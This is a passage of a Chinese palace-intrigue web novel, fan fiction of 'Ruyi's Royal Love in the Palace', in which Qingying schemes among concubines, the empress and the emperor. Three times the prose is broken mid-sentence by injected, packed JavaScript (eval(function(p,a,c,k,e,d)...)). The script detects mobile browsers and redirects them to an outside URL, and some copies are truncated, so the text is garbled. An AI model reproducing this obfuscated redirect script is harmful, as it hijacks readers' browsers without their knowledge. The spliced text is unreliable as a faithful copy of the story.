青樱笑道:“半个时辰前的事了,本宫本来要去你宫里找你,正巧看见你从纯嫔宫里出来,就在半路上守着你了。那条路,也不是去慎刑司的,是去御花园的。” 金玉研强自镇定道:“娘娘又逗嫔妾了。” “玉研啊,当初渚英胎大难产,跟你有关系吗?” “娴贵妃娘娘要定嫔妾的罪,也要拿出证据,不能因为您看嫔妾不顺眼,便随便什么罪名都往嫔妾身上安。” “你知道,本宫是不管事的,所以你还能在本宫跟前嘴硬。可是皇上啊,他疑心一个人,是不需要确凿的证据的,只要有个疑影儿,他就可以在心里定你的罪。失宠,对你来说,比死还难受吧。” 金玉研与她身后的贞淑脑子疯狂转动着,小禄子被抓的太快了,打了她们一个措手不及。她们可不敢赌,小禄子能撑过慎刑司的刑罚,不把她们供出来。 金玉研最先冷静下来:“那您,为什么不直接去和皇上说呢。” 因为金玉研得宠,哪怕不是背靠玉氏,她的姿色也能让她在皇上心里占有一席之地。所以若她抵死不认,一个奴才的口供,是不会让皇上下定决心动她的。 青樱看向贞淑,道:“小禄子应该只见过你吧,弃卒保车,你们主仆好好想想吧。” 临走时,青樱仿佛想起什么,叮嘱金玉研道:“这手串,还是别带了,臭男人带过的,把你都给熏臭了。” 当年富察琅嬅与素练所遭受的无比煎熬的半天一夜,这回轮到金玉研主仆了。 小禄子没怎么被用刑就招供出了贞淑,再用刑一晚上,供词依旧没变,慎刑司的人才将供词呈给了皇帝。 贞淑被审问了,就说,她一直爱慕皇帝,嫉妒玫答应出身比自己还低,不仅能侍奉皇帝,还怀了皇嗣。她恨金玉研,明知道自己对皇帝的心思,却不肯像娴贵妃举荐阿箬那样举荐自己。 最后皇帝将贞淑遣送回了玉氏,嘉贵人因管教不善,被降为答应。 只是青樱想的没错,金玉研的失宠只是暂时的,这个女人有着坚强的意志与出众的美貌,两相结合,很快让她重新进入了皇上的视线。 不过青樱这次也只是想要断她一臂,贞淑此人,能飞檐走壁,懂医理,会临摹字迹,实在太BUG了,她不能留。 她也没忘记苏绿筠,在对方跟前长吁短叹:“若不是你说吃鱼虾,生的孩子聪明,玫贵人也不会顿顿鱼虾不离口,贞淑也想不到要在鱼食中做手脚。绿筠呀,祸从口出啊,以后你少说话吧。” 她一边说着,一边拿护甲轻轻划着苏绿筠因哆嗦而微微颤动的脸庞:“你看你吓成这样,谁信你心里没鬼啊。” 苏绿筠要哭了,她就是不心虚,也怕青樱啊,这是敢当面怼太后的狠人啊! 玫贵人的恩宠在那个病恹恹的孩子出生后到头了,朱砂毁掉了她们母女的健康,皇帝不可能再宠幸她了。 没怀孕的玫答应都能把满后宫都得罪了,怀孕的玫贵人战斗力只会翻倍。她连青樱的宠都敢劫,高晞月听说了都要敬她是个勇士。 玫贵人本以为自己能凭借贵子封嫔封妃,所以压根不管其他人怎么看自己。如今,位份、宠爱都没了,太后也舍弃她了,玫贵人便是想为了孩子再拼一把,却没有得宠的资本了。 如今,她一个月有大半个月下红稀稀拉拉,脸色苍白得没比四公主好多少。 她恨死了贞淑,更不相信金玉研不知情,在金玉研有孕后,她的恨意达到了顶峰。 结果被青樱一杆子将她们母子送去了圆明园,动不了得宠的,还动不了不得宠的吗? 金玉研本在担心玫贵人会对自己下手,正吩咐丽心守好启祥宫呢,听说此事,纳闷道:“这娴贵妃到底要做什么?她总不是想要帮我吧?” “是,我就是在帮她,谁让她长得漂亮呢。玫贵人,嗯,那张脸蛋,我也喜欢,希望她能和女儿好好活着,别为了复仇毁了自己。不过这金玉研,不是个好人,海兰啊,你可要帮我盯着她,别让她害我。” 海兰郑重其事道:“姐姐放心!我会帮你好好盯着她的,绝对不让她动你一根指头!” 青樱满意地摸了海兰脸蛋一把,我都给你透题了,以你在如懿传里数一数二的智商与行动力,可不要让我失望啊。 皇帝只觉得最近有些提不起兴致。嘉答应有孕不宜侍寝,贵妃寒症犯了,皇后太端着,玫贵人废了,纯嫔最近不知怎的,一惊一乍的。透明人一样的海常在与婉答应被他略过,他现在也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288128|166580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能去翊坤宫寻快活了。 只是这快活也有些没意思了,皇帝看着镜子前站着的青樱,以及在旁边帮她挑寝衣的阿箬,鬼使神差般道:“今晚,阿箬就别走了吧。” 青樱侧头看向皇帝:“陛下是想要臣妾与慎常在一同服侍您?” 皇帝还以为青樱同意了,兴奋的点头,刚想提出新的点子,就见青樱唰的一下把手里衣服扔到地上了。 “陛下何必这样折辱臣妾与慎常在!”青樱怒道。 阿箬吓得立刻跪下,战战兢兢不敢说话。 皇帝还是头一次见青樱反抗自己,他清楚这回不是什么情趣,而是真正的反抗。 他又兴奋,又生气,想强硬的让青樱同意,又想软下身段求青樱同意。 青樱却没给他机会,拽着阿箬告退,让李玉进来给皇帝守夜了。 这一晚,皇上睡在正殿,青樱与阿箬睡在了偏殿。她临睡前还把翊坤宫的宫女都点了一遍,只许太监留在正殿。 阿箬担心道:“陛下,不会真的生气了吧?” “没事,能哄回来。”青樱不以为意道,“你敢应下他,就给我搬出翊坤宫,我这不留你了。” 阿箬急道:“不不不,嫔妾不走。嫔妾,嫔妾也要脸呢。” “阿箬,你要记住,平日里我们与陛下怎么玩,是闺房情趣,是你情我愿,都是关起门来一男一女两个人的事。但是再多一个人,我不能接受。” 阿箬还有些分不清这两者的区别,她觉得是因为她们表现得太放得开,才导致皇帝提了更进一步的要求。只是她不敢说,怕火上浇油。 阿箬一宿没睡着,估摸着时间起来,走到青樱床前,发现她睁着眼,显然也是没睡。 “娘娘也没睡着?” “嗯,打了一晚上的腹稿,一会儿要怎么哄陛下。” 阿箬犹豫了下,道:“嫔妾,嫔妾一会也去吗?” 青樱道:“你不用,陛下走时,你在殿门口恭送就行。” “您,您可千万别和陛下硬顶啊。”青樱走进正殿前,阿箬忍不住叮嘱道。 青樱冲她一点头,让李玉去替自己通传了。 皇帝沉着脸坐在床边,青樱上前行礼,他也不叫起。青樱只能半蹲着道:“陛下,皇后娘娘向您举荐了仪贵人,您会让皇后与仪贵人一同侍奉您吗?” “放肆!”皇帝斥道。 “臣妾,喜欢和陛下玩那些花样,是因为陛下喜欢,臣妾也喜欢。臣妾容貌不出众,家世一般,又有那样一个姑母,若想在陛下身边挣得一席之位,不得不剑走偏锋。只是臣妾,也是正经人家出来的姑娘,陛下还请怜惜臣妾,不要让臣妾无脸做人。” “行了,你不愿意,就不愿意吧!”见青樱泪眼汪汪,皇帝心软了,抬手一扶,青樱便顺势站了起来,一屁股坐在了皇帝旁边。 “慎常在的阿玛如今都是从四品大员了,可比不得臣妾家里无人。她还以为我们翊坤宫要失宠了,吓得脸都白了,陛下,您可要好好安抚下她。” “哦?那你呢?” “臣妾惹皇上不高兴了,不敢要赏赐,皇上不罚臣妾,臣妾就万幸了。” 皇帝捏了捏她的鼻子,道:“你呀,昨天竟然敢给朕甩脸子。你好好和朕说不愿意,朕还能强迫你吗?就这么丢下朕走了,让朕独守空房。” 皇帝虽说有些惋惜,但到底不会真的将青樱当魏嬿婉那般作践。他与青樱用过早膳,口头下旨晋了阿箬做贵人,便去上朝了。 阿箬本以为皇帝会冷落翊坤宫一段时间,没想到青樱不仅顺利的把皇帝哄好了,还给自己争取了晋位,对青樱的崇拜与感激无以复加。 她都做好了心理准备,若是皇帝非要玩三人行,青樱又死活不同意的话,自己便背着青樱,选个宫女一起伺候皇帝,让皇帝满意。 只是那样,她就真的没脸见青樱,更没脸留在翊坤宫了。幸好,幸好不至于到那个地步。 8.青樱(4) 嘉答应生下四阿哥后,复位为贵人。皇帝到底还是有些疑心的,四阿哥没有让嘉答应养,而是给了高晞月。 高晞月欣喜若狂,真是无心插柳柳成荫,她本就和嘉贵人关系不错,赏了嘉贵人一堆东西,并说对方可以随时来看四阿哥。 她自然是不知道她与嘉贵人的关系只是她单方面的认为好,若不是青樱动手的早,小禄子本该与她有接触的。 只是如今儿子在高晞月手上,嘉贵人短时间又不可能封嫔,她就是有心想要弄出什么事来证明高晞月不适合带孩子,四阿哥离了咸福宫也不可能回她的启祥宫。那还不如在咸福宫呢。 苏绿筠沉寂了一段时间,三阿哥被送去阿哥所了,她每日更无所事事了,便开始和婉答应学画画。 宫里风平浪静时,太后就要出来搞事情。 意欢便提前出现在众人面前了,陆沐萍逃过一劫,因为太后如今手里资源有限,耐心更有限,只能主捧一个,便选了更为貌美的意欢。 青樱往前倾了倾身,就为了看得更清楚些:“美人啊。” “娘娘毛病又犯了。”一旁的阿箬嗔道,“幸好皇上不像您这么好色。” 那是你没见到他看见寒香见时的样子。 “这宫里自你之后,好几年了,没见新人。如今终于来了个新妹妹,长得还这么漂亮。” 阿箬道:“太后娘娘举荐的呢,娘娘您不介意?” 青樱没有回答她,注意力被不远处一队小宫女吸引走了。 阿箬探头看了一会,了悟道:“那边那个最标志的,过来,让娴贵妃娘娘好好看看你。” 魏嬿婉怯生生的走了过来,行礼道:“奴婢,四执库宫女魏嬿婉,见过娴贵妃娘娘,与,这位娘娘。” 青樱对着美人一向脾气好,笑着指了下阿箬:“这是慎贵人。” “奴婢见过慎贵人!”魏嬿婉从善如流道。 “嗯,模样不错,声音也好听,规矩学的也好。来本宫身边伺候吧。”青樱满意道。 阿箬升起一股危机感,等回了翊坤宫,屏退众人,才低声问青樱:“娘娘是想抬举她?” “看情况吧,她年纪太小了点。” “是因为,上次,还是让皇上不高兴了,是不是?”阿箬咬了咬嘴唇,道,“都是嫔妾没用,帮不上娘娘。” 青樱笑道:“年轻漂亮的姑娘,谁不喜欢?我喜欢,皇上也喜欢。谁都不可能永远年轻漂亮的,我心里有准备,就是没有那件事,皇上对我的宠爱,也会慢慢减少的。” 阿箬盯着青樱的手腕,道:“那您还不赶紧生个孩子?还戴着它做什么!” “怎么,你还想做我的主?”青樱挑眉,“我都没催你,你倒催我了。” 阿箬丧气道:“都怪嫔妾肚子不争气。” 她转念一想,那个魏嬿婉看着就一副营养不良的样子,不行,得好好补一补。不管是她还是魏嬿婉,生个一儿半女的,都给贵妃养,省得贵妃日后无靠。 永链病了,富察琅嬅在长春宫与阿哥所之间来回跑,青樱提议道:“把孩子带回长春宫养病吧,你也省了来回奔波。” 富察琅嬅摇头:“不合规矩,而且太医说了,永链不宜挪动。” “既是哮喘,便把这宫里的芦苇啊柳树都砍了。身边伺候的人再多加几个,让太医轮值,日夜都要有人守着,万不能让永链再受了寒。对了,下人的月钱翻倍,每日的伙食也翻倍,晚上守夜的人多备点茶水和点心。” 多找几个干实事的人给点实实在在的好处,不比抄什么血经有用的多? 富察琅嬅听了青樱这一长串要求,犹豫道:“会不会太兴师动众了?别人听了,会不会觉得永链太娇贵了?” 青樱直接翻她一个白眼:“永链到底是不是你亲儿子?你节俭自己赚好名声就罢了,永链是个病人!还是个孩子!对他好点吧!” 这还是青樱第一次这样不假辞色的冲富察琅嬅喊,素练急了,都忘了青樱手上捏着她们的把柄了,怒道:“娴贵妃,怎可对皇后娘娘如此不敬!” 青樱懒得理这个永远抓错重点的常务副皇后,只瞪着富察琅嬅。富察琅嬅咬咬牙,道:“好,就听你的。” 可是永链依然去世了,富察琅嬅几乎哭死过去,就连皇帝,都暂时没了宠幸嫔妃的兴致。 富察琅嬅病倒了,宫务交给了高晞月,青樱则带领其他嫔妃轮流去长春宫侍疾,搞得声势浩大。 “何必呢,也没几个真的关心我,还不如让我清净些。”富察琅嬅靠在床头,今天是青樱与阿箬侍疾。 “皇后娘娘,这是体面。”青樱吃着莲心剥给富察琅嬅的橘子,“您是一国之后,您病了,我们作为妃妾,怎能安心留在自己宫里玩乐?您要是嫌烦,就快快好起来。橘子很甜,一会给臣妾拿一筐走。” 富察琅嬅道:“陛下那里,都有谁伺候?” “嫡子才去世,陛下没有心情,臣妾等人也不敢去打扰。”青樱面上是说不出的讽刺意味。 富察琅嬅愣了下,道:“你,你故意的?” 青樱大张旗鼓带着众人日日来长春宫照顾皇后,皇帝也不好意思在这个节骨眼上频频宠幸嫔妃。 “你啊。”富察琅嬅叹了一声,半响才道,“还是要事事以陛下为先。你放心,我会好好养病的。” 我放心个鬼。青樱在心里吐槽着。 富察琅嬅养了快两个月,才重开宫门,恢复了嫔妃请安。高晞月与富察琅嬅交接着这段时间的宫务,一个神情恹恹,一个说几句便咳嗽几声。 青樱在一旁看着这俩病秧子,道:“皇后娘娘不如把舒贵人用起来,省得她天天捧着御诗看。她虽是太后举荐的人,但心里只有陛下,不用担心她帮太后做事。” 高晞月不喜欢舒贵人那副清高样,道:“她才入宫多久,还是个贵人,凭什么让她协理六宫?” “没说让她协理六宫啊,是让她协理你,你讨厌她,就多派些琐事给她,你不愿做的都甩给她,累死她!”青樱调笑道。 富察琅嬅若有所思,舒贵人入宫没多久永链就病了,之后富察琅嬅自己又病了,这小半年的时间,富察琅嬅只在侍疾时见过舒贵人几次,安安静静的一个人。 富察琅嬅制止了青樱与高晞月打嘴仗,对高晞月温和道:“入了冬,你寒症又要犯了,本宫实在舍不得再劳累你。娴贵妃又不顶用,本宫大病初愈,是需要一个人在旁帮忙打理些琐事了。” 高晞月忙道:“臣妾都听皇后娘娘的,只是舒贵人这人脾气不好,臣妾怕她气到您。” 富察琅嬅看了青樱一眼,道:“本宫这脾气早被磨没了。” 皇帝却不太愿意让舒贵人管事的,只是富察琅嬅让他再提个能管事的人选,皇帝扒拉了一下后宫,发现竟真没有更好的人选了。 谁让这是个癫宫呢,里面的嫔妃,不能得宠,不能有脑子,不能有个健康的身体,哪怕位份高,在皇帝心里依然不能有任何份量。 所以舒贵人开始跟着高晞月管事了,太后倒是因此狂喜了一把,把舒贵人叫过去细细叮嘱了一番。舒贵人不喜太后这般功利的样子,她又不是个善于掩饰的人,太后自然很快看出来了,登时大怒。 她哪怕再急切得想要争权,身边再无人可用,也不可能在舒贵人如此不配合的情况下继续强捧对方,从来都是她仗着辈分拿捏别人的,哪里受得了自己去热脸贴人家冷屁股。 只是太后势微已不是秘密,意欢还是因为她本人喜欢皇帝想要进宫,等不及三年一次的选秀,才走了太后的路。家世略好的人都一门心思等着选秀,家世太差的,纵然成了嫔妃,也只会如白蕊姬那样从答应、常在做起,怎么可能像意欢这样进宫就是贵人,还能被皇后举荐接触到宫权。 皇帝看出太后与舒贵人闹僵了,让什么也查不出来的毓瑚去查这两人是不是做戏,被告知不是做戏后,很满意意欢对自己的深情,晋了她为舒嫔。 乾隆十年,高晞月去世。四阿哥被送去给太后抚养,反正是玉氏血脉,登基的概率低,给太后好牵扯住她的精力。嘉贵人知道皇帝心里依然在怀疑自己,不由想起当年青樱的话,便是心里急得不行,却也不敢有什么动作,只能更加努力的争宠,再生一个孩子,怎么也能封嫔,养在自己身边了。 青樱协助富察琅嬅与舒嫔处理好高晞月的丧事后,便不慎扭伤了脚,被太医诊断,至少要将养三四个月。 阿箬要照顾青樱,也跟着青樱一同撤了绿头牌。富察琅嬅还以为青樱伤的很严重,强打着精神亲自来翊坤宫看她。 青樱忙道:“皇后娘娘怎么来了,没事的没事的,臣妾就是因为晞月走了,心情不好,再加上脚伤,发了几次火。慎贵人就觉得是身边的奴才伺候的不好,非要亲自来照顾臣妾。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫务之前在舒嫔眼中只是俗物,只是因为她本人不是个糊弄事的性子,又不似苏绿筠那样勤都不能补拙的,被皇后带了几年,差事办的都不错。 如今被青樱这么一说,管不好宫务不仅对不起皇上,更要被满心都是算计的皇后比下去,舒嫔只能被迫化身兢兢业业管家婆。 等到皇帝痊愈,皇后也有了喜讯。而阿箬,被封为慎嫔,择日便要迁去启祥宫了。 青樱脚也养好了,去长春宫看望皇后。皇后人瘦脱了相,已经开始卧床保胎了。 “富察琅嬅,你真是作死啊。”青樱站在床边,面无表情道。 皇后被这样骂,也不生气,道:“青樱,我真羡慕你,可以这么自私 冷血,只为自己活着。” 这是她这辈子都做不到的事情。 青樱有心要说什么,却说不出口。富察琅嬅什么都懂,这样孱弱的身体,根本不可能生下健康的孩子。只是她别无选择。 富察琅嬅与青樱默默的对视着,突然道:“你是故意的,是吗?” 青樱愣了下,便见富察琅嬅的视线慢慢下落到了自己的脚腕处。 青樱不自在的动了动脚,富察琅嬅轻声笑了起来:“别做的太过了,小心皇上起疑心。” 零陵香也好,朱砂也好,金玉研也罢,白蕊姬也罢,事后细细盘算,总能发现诡异之处。青樱就仿佛未卜先知一般。 她明明是不管事的性子,也没有胜过常人的聪慧,但是只要出手,必然能抓住事情的关键。 疥疮会传染,染上了会很遭罪,还会毁容,所以宠妃青樱提前伤了脚,连带着同住一宫的慎贵人都撤了绿头牌。 皇上生病,以青樱的受宠程度,不去养心殿表示表示,皇上肯定会介意的。所以青樱提前伤了脚,还派了慎贵人替自己去。 高晞月病死前两年,青樱便提议让意欢协理宫务。很多事不能细想。 “这个孩子,他,能保住吗?”富察琅嬅握住青樱的手,声不可闻地问着。 “多顾好你自己吧。” 富察琅嬅便笑了起来:“我怎么能好呢。” 她也曾如青樱那般,避孕了几年。那时,她儿女双全,眼见着渚英难产而死,她不是不怕的。 可如今,她没有永链了,皇上,以及富察家,又那样迫切的想要一个嫡子。 9.青樱(5) 这个孩子最终没能来到这个世上,富察琅嬅怀孕六个月的时候早产了,生了两天两夜,母子俱亡。 青樱从长春宫奔逃而出,看着前方高耸的宫墙,只觉得死亡的气息无孔不入。 为什么!为什么! 富察琅嬅为何连本来的寿命都没有活到? 永链去世后,富察琅嬅的生机肉眼可见的在消逝,到坏了永琮时,甚至已经需要卧床保胎。 直到她难产而亡,青樱不能再骗自己了。 她曾嫌弃富察琅嬅的癔症,每次富察琅嬅如同原著那般开始降智时,她都会毫不留情的泼醒对方。她想要一个清醒的、有能力的皇后管理后宫,让自己能平安的享乐。 但是她忘了,人物的行为逻辑和剧情是适配的。富察琅嬅竭尽全力想要做好一个皇后,生儿育女,管理后宫,但是皇帝不停的打压她,通过宠爱其他女人来打她的脸,想要打掉她高门贵女的傲气。可本该是她底气来源的富察家又一门心思盯着她的肚子,这让她无比伤心又觉得无比荒谬,只觉得自己陷入了一个怪圈。 她若是因为家世才被选为嫡福晋,那为何皇帝敢频频打压她却不怕富察家生气?她若是没有家世地位不稳,皇帝又为何要频频打压她? 她不理解皇帝打压她的理由,他是天子啊,她与富察家都要仰视他啊!他要拿捏他们,根本用不着这些小家子气的手段。她也不理解富察家把希望都寄托在她肚子上的理由,明明是满门功勋,连前朝无人的乌拉那拉家都不会这样逼迫青樱。 这个癫宫对青樱来说是一个好地方,但却导致了越来越清醒的富察琅嬅开始内耗。尤其是富察琅嬅发现无论自己多努力,都不如生下嫡子来得重要,仿佛她这个人,是她子宫的配件。 当富察琅嬅对皇帝,对富察家已经不报希望时,她的所有爱都给了她的孩子们,而孩子又被迫成为她获得皇帝重视、家族兴盛的筹码。 所以富察琅嬅死了,比原著,比历史上,死得还要早。 青樱大病一场,导致宫里起了谣言,说是她害死了皇后母子。 这自然是有太后在推波助澜,结果被舒嫔压了下去。 “陛下因为皇后及嫡子的去世,如此伤心的时候,本宫定要管好后宫,绝不让陛下烦心!” 不管事的恋爱脑和管事的恋爱脑,看待事情的角度都不一样,更何况,还有海兰在一旁吹风呢。 皇帝是知道青樱与高晞月是欢喜冤家,虽多年斗嘴但感情很深。与富察琅嬅更多了一层庇护之情,当初太后以青樱姑母为由生事,富察家频频为青樱出头。更不要说这么多年,青樱活得那么恣意,不仅因自己宠爱,还有富察琅嬅照拂后宫,使后宫平和的原因。 毓瑚查到那些流言与太后有关,再加上富察琅嬅唯一活着的女儿景瑟每天都去翊坤宫探望青樱,皇帝更加相信,青樱是伤心过度才生病的,绝对不是心虚或者报应。 “这宫里,只有你我两人,在真的伤心。”景瑟倚在青樱肩头,连日哭丧也没什么力气,“她在世时,常叮嘱我,要像你一样活着,不要像她。” “是我对不住她,我被她庇护这么多年,她的丧事,我却一点忙都帮不上。”青樱咳嗽几声,摸了摸景瑟的头,“死的人我管不了了,我只管活着的你。” 青樱自晞月死后就无心争宠,富察琅嬅去世后,皇帝也在心里内定了青樱为继后,自然也不打算继续和青樱玩以前的那些花样。宠妃和皇后是不一样的,皇帝心里明白。 况且,青樱还适时的举荐了年轻貌美、知情识趣的魏嬿婉,又提拔了海兰为瑜嫔协助舒嫔管理宫务,所以虽然她本人不怎么承宠,又不管事,皇帝对她依然还算满意。 尤其在富察琅嬅在世最后那几年的消极怠工对比,青樱如此已算很将皇帝放在心上了。 科尔沁部来求取嫡公主,皇帝倒是很想嫁太后次女,只是太后破罐子破摔,绝食抗议,皇帝到底不敢真的担上逼死太后的骂名,也不逃避了,干脆利落下了旨意,让景瑟出嫁。 青樱便提议在京中建了公主府,景瑟出嫁后依然可以长居京城。其实她们还可以用些手段,换取皇帝的愧疚,赢得更多的宠爱。只是无论是青樱还是景瑟,都没有那个心思,也懒得用那个心思。 青樱已经是皇后了,皇后再失宠能失宠到哪里去?景瑟是唯一的嫡公主,又要嫁人了,富察家也算能使唤得动,再折腾也就是锦上添花。 倒是海兰和魏嬿婉觉得这俩太消极怠工了,很是上蹿下跳了一番,替青樱与景瑟在皇帝跟前好好的卖了一番惨,给两人立了个不争不抢不愿皇上为难的人设。 景瑟倒罢了,皇帝只觉得青樱当了皇后之后就转了性子,心里有些不是滋味。这样的青樱自然更适合做皇后,但是他还是怀念当年那个花样百出的小辣椒。 金玉研在生下第二个儿子后,终于爬到了嫔位。这些年她被青樱压制得够呛,因为嘲讽魏嬿婉宫女出身,还被青樱当着众嫔妃的面打过一巴掌,哪怕事后告状到皇帝跟前,皇帝也更向着新宠。 金玉研比青樱小好几岁,又貌美,但是看着青樱连着举荐了两个嫔妃,她也坐不住了,也举荐了丽心。只是丽心可没有阿箬、魏嬿婉那般的好福气,只从官女子坐起,到了答应的位置就不升不动了。 皇帝玩三人行的心思又蠢蠢欲动了,金玉研已是嫔位,又有两个儿子,她也是要脸的人,单人花样她都做不到青樱当年那样,更何况三人行呢。 所以皇帝提了一次,金玉研拿话岔开了,他便又盯上了丽心。丽心便与魏嬿婉一同被召去养心殿了,只这一次,就让睡觉都要睁着一只眼替姐姐盯着后宫的海兰发现了。 谁让海兰有着一双善于发现奸情的眼睛呢。 魏嬿婉是青樱举荐的,在养心殿玩三人行,被发现了青樱是要被连累挨骂的。海兰担心若金玉研拿着这个把柄拿捏魏嬿婉做些什么,或者干脆捅出来让青樱受连累。 躺平的青樱不得已坐起来了一下,把魏嬿婉喊过来了。 魏嬿婉一见屋里就只有她与青樱两个人,就猜到昨晚的事被青樱发现了,腿一软就开始跪下请罪。 青樱也没急着叫她起来,道:“跟着我,你有两条路可以走。要么像瑜嫔,管理宫务,掌权。要么,像慎嫔,就做个宠妃。若是你足够出息,可以两条路一起走,做一个实权在握的宠妃。 可若你还继续无底线的纵容皇上,就从我的翊坤宫搬出去,日后就跟着皇上走吧,我这没你的路了。” 魏嬿婉急忙道:“嫔妾知错,嫔妾再不敢了,求皇后娘娘别不要嫔妾!” 她急得哭了,期期艾艾半响,才道:“嫔妾出身卑微,得蒙娘娘与孝贤皇后举荐,才有幸侍奉皇上,初封便是贵人。嫔妾感念娘娘恩德,只是想着在陛下跟前更得脸些,好为娘娘分忧,以报娘娘大恩。” 魏嬿婉知道金玉研和青樱不对付,青樱是皇后,但膝下无子,金玉研可是有两个皇子呢,眼见着又怀了第三个孩子。哪怕青樱当了皇后,金玉研依然见缝插针的挑衅青樱,反正是不可能和平相处了,干脆就做个挑事的宠妃,痛痛快快自在些。 青樱这边,海兰多年不承宠,慎嫔年纪渐长宠爱不如往昔,只有自己,趁着年轻,皇上还新鲜,争取生个孩子,封嫔封妃,在这后宫也算站稳脚跟了。 魏嬿婉的不安,青樱看得眼熟。当年富察琅嬅也是这样的不安,哪怕她是先帝赐婚,弘历名正言顺的妻子,膝下儿女双全,娘家硬气,她依然不安,提防晞月,提防永璜,提防青樱,提防着一切。 这不安是剧情强行加在她们身上的,她们必须通过不断的算计、谄媚才能获得皇上的宠爱,而不能是因为她们本人真的讨皇上喜爱。 “当初,皇上也像我提过这样的要求。” 魏嬿婉听了这话,大气不敢出,死死低着头。 青樱便笑了,直到皇上暗示过魏嬿婉这些事,所以魏嬿婉才肯答应。 “我看好你,你聪明,漂亮,坚强,你日后能站得比瑜嫔、慎嫔更高,比这宫里除我以外的女人都高,宫权、子嗣,你都会有。所以你不必如此,我会帮你。” 青樱罚了魏嬿婉禁足一月,去养心殿关起门和皇上吵了一架。皇上和她怄气,硬是解了魏嬿婉禁足,还给她晋了嫔位,迁去了永和宫。 阿箬瞧着眼熟,更眼热,只是这招青樱也在她身上用过一次,不好再用第二次了。 当初的八个心,除了成了答应的丽心,其他都硬生生被熬过了二十五岁。还是因为惢心要嫁人了,青樱才想起来把她们,顺道把宫里其他宫女都梳理了一遍,年满二十五的都放出宫了,该嫁人嫁人,该团聚团聚。 海兰还以为青樱是担心再出一个魏嬿婉,谄媚皇帝致使帝后失和,因此瞧魏嬿婉越发不爽了,或者是她本就瞧她不爽。只是皇上宠爱魏嬿婉,海兰就是想指使内务府苛待永和宫,内务府也不会听她的。 安吉大师入宫祈福时,青樱依然当她的甩手掌柜,封了舒嫔为舒妃,让她负责一切事宜。 “舒妃一向得宠,就算我不提,皇上也会封她为妃,不如我来说,还能让她与皇上记我的好。只是海兰你,不愿承宠,我不逼你,只是以我的能力,封你为嫔已是极限了。” “姐姐不必解释,我都懂,我不在意什么位份不位份的,我只在意姐姐与我的情分。” 这话,有点耳熟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288130|166580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青樱抖抖鸡皮疙瘩,看向一旁的眼巴巴看着自己的慎嫔:“嘉嫔封妃我是阻止不了的,你把纯嫔踩牢了,别让她因着永璋,让皇上顾念起旧情。反正四妃的位置我给你预定了,就看你争不争气了。” 阿哥所如今是纯嫔在协管,她到底是把这差事争取来了,毕竟现在那里只有她生的三阿哥和嘉嫔生的四阿哥,大阿哥出宫建府了,嘉嫔怀着孩子,皇上又疑心她会搞事,所以将阿哥所教给了纯嫔负责。 青樱本是有意让阿箬去管,可被皇上否决了。魏嬿婉当时也在,她终于明白,为什么青樱宁可拼着被皇上责骂的风险,也不肯让自己继续无底线的顺从皇帝了。 青樱好歹是皇帝的小青梅,侧福晋出身,如今又封了皇后,与景瑟关系极好,靠上了富察家,没事还可以跟皇帝打打感情牌。 可阿箬与魏嬿婉,宫女出身,皇帝喜欢和她们玩花样,但又因此看不上她们,将她们当成玩物。阿箬还有个得力的阿玛呢,皇上照样觉得她不配去照看皇子,更何况魏嬿婉。 安吉大师安安分分的来了,安安分分的走了。嘉嫔不是不想搞事情的,尤其现在帝后关系出现裂痕,她自认捏着魏嬿婉的把柄,魏嬿婉现在又和皇后阵营有了摩擦,天时地利人和都有了。 只是海兰盯她盯的紧,作为这后宫里为数不多智商行动力都在线的两个人互相牵制着,金玉研只能按捺住搞事的心,一门心思待产。 这一胎是七阿哥,孝贤皇后的次子虽然出生即殇,却还是序齿了。如今,大阿哥生母早亡,三阿哥母子都不受宠,孝贤皇后的二阿哥、五阿哥夭折,四、六、七都是金玉研所生。 金玉研如愿以偿封了妃,并收了纯嫔做小弟。青樱也是服了纯嫔这眼光,其实纯嫔完全可以自立山头谁都不靠,她有儿子,再不得宠也不至于过得太差。只能说她还是有一颗蠢蠢欲动搞事的心。 金玉研在势微时尚且敢挑衅青樱,如今风光无限,心中已将皇后的位子视为囊中之物,迫切的寻找着能将青樱拉下来的把柄。 结果还真让她找到了,阿箬派人寻摸新的零陵香时,一时不慎,让金玉研的人发现了。 青樱被唤去养心殿时,阿箬已浑身哆嗦地跪在殿中许久了。哪怕殿中气氛紧张,青樱还是不合时宜地想着:“怎么还是逃不过当床头柜的命运。” 皇帝一看青樱那样子就知道她又走神了,他也和富察琅嬅一样,这么多年被青樱磨的快没脾气了。 但也因此他更加认定了零陵香是阿箬自作主张找的,青樱不是会害人的人。 “她是你的人,要处置,朕还是要知会你一声。” 皇帝等着青樱因为失职请罪,跟自己服个软,结果青樱直接头铁的应了:“这东西,是臣妾让慎嫔帮忙找的,是臣妾自己用的。” 阿箬险些倒在地上,她咬牙死撑了那么久不想供出青樱,就等着青樱想法子捞自己呢,结果姐姐你竟然承认了! 